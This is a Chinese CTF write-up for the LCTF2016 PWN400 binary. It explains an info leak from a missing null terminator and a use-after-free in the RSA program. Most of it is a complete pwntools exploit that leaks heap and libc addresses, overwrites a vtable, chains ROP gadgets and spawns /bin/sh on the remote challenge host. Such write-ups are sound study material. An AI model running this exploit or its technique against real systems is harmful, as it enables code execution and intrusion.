LCTF2016 PWN400

程序

link: pwn400

pwn400是一个有RSA加密解密功能的程序,存在如下两个结构体

其中Cipher结构体中成员KeyPair是一个指向KeyPair结构体的指针

漏洞

程序在保存Encrypt后的结果时没有添加’\0’截断,填满ciphertext就可以在输出时获取KeyPair的值从而得到堆基址
程序在执行decrypt功能后会将对应的Cipher堆块free

但是没有将全局变量中CipherPtr的值置零,后续仍然可以继续使用,典型的UAF

利用

利用comment功能

申请内存覆盖到原来被delete掉的Cipher堆块,这样编辑comment就相当于修改Cipher堆块
直接修改vtable,达到控制程序流的目的
利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
context.log_level = 'debug'
def NewCipher(p, num_p, num_q):
p.recvuntil('5. exit\n')
p.send('1\n')
p.recvuntil('[1]No\n')
p.send('1\n')
p.recvuntil('give me a prime number p: \n')
p.send(str(num_p) + '\n')
p.recvuntil('give me a prime number q: \n')
p.send(str(num_q) + '\n')
def Encrypt(p, length, plain):
p.recvuntil('5. exit\n')
p.send('2\n')
p.recvuntil('length of your plaintext (max: 0x40)\n')
p.send(str(length) + '\n')
p.recvuntil('write your plaintext\n')
p.send(plain)
def Decrypt(p, length, cipher):
p.recvuntil('5. exit\n')
p.send('3\n')
p.recvuntil('length of your ciphertext (max: 0x200, hex encoded)\n')
p.send(str(length) + '\n')
p.recvuntil('write your ciphertext\n')
p.send(cipher)
def Comment(p, content):
p.recvuntil('5. exit\n')
p.send('4\n')
p.recvuntil('comment about my implement of RSA')
p.send(content)
#p = process('./pwn400')
p = remote('119.28.62.216', 10023)
elf = ELF('./pwn400')
libc = ELF('./local.libc')
read_plt = elf.plt['read']
read_got = elf.got['read']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
rand_got = elf.got['rand']
__libc_start_main_got = elf.got['__libc_start_main']
bss_addr = 0x00000000006040E1
pop7_ret = 0x0000000000402336
rdi_ret = 0x0000000000402343
rsi_r15_ret = 0x0000000000402341
main_addr = 0x0000000000401D9D
rsp_rbp_ret = 0x000000000040153b
NewCipher(p, 17, 19)
Encrypt(p, 0x40, 'A' * 0x40)
p.recvuntil('ciphertext: ')
cipher = p.recvuntil('000000000000')
heap_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
heap_base = heap_addr - 0x260
log.info('heap base ' + hex(heap_base))
raw_input()
rop1 = ''
rop1 += p64(rdi_ret) + p64(__libc_start_main_got)
rop1 += p64(printf_plt) + p64(main_addr)
Decrypt(p, len(cipher) / 2, cipher)
payload = ''
payload += p64(heap_base) * 2
payload += p64(pop7_ret)
Comment(p, payload + '\n')
Encrypt(p, 0x40, rop1.ljust(0x40, 'A'))
rand_addr = u64(p.recvuntil('RSA example', drop = True).ljust(8, '\x00'))
log.info('__libc_start_main addr ' + hex(rand_addr))
offset_rand = 0x3d310
offset_system = 0x468f0
offset_binsh = 0x17dbc5
offset_libc_start_main = 0x21dd0
'''
offset_rand = libc.symbols['rand']
offset_system = libc.symbols['system']
offset_binsh = next(libc.search('/bin/sh'))
offset_libc_start_main = libc.symbols['__libc_start_main']
'''
libc_base = rand_addr - offset_libc_start_main
system_addr = libc_base + offset_system
binsh = libc_base + offset_binsh
rop2 = ''
rop2 += p64(rdi_ret) + p64(binsh)
rop2 += p64(system_addr) + p64(main_addr)
'''
Encrypt(p, len(rop2), rop2)
'''
NewCipher(p, 17, 19)
Encrypt(p, 0x40, 'A' * 0x40)
Decrypt(p, len(cipher) / 2, cipher)
payload = ''
payload += p64(heap_base + 0x280) * 2
payload += p64(pop7_ret)
Comment(p, p64(0xdeadc0dedeadbeef) * 4 + '\n')
Comment(p, p64(0xdeadc0dedeadbeef) * 4 + '\n')
Comment(p, p64(0xdeadc0dedeadbeef) * 4 + '\n')
Comment(p, payload + '\n')
Encrypt(p, 0x40, rop2.ljust(0x40, 'A'))
p.interactive()

文章目录
  1. 1. 程序
  2. 2. 漏洞
  3. 3. 利用
|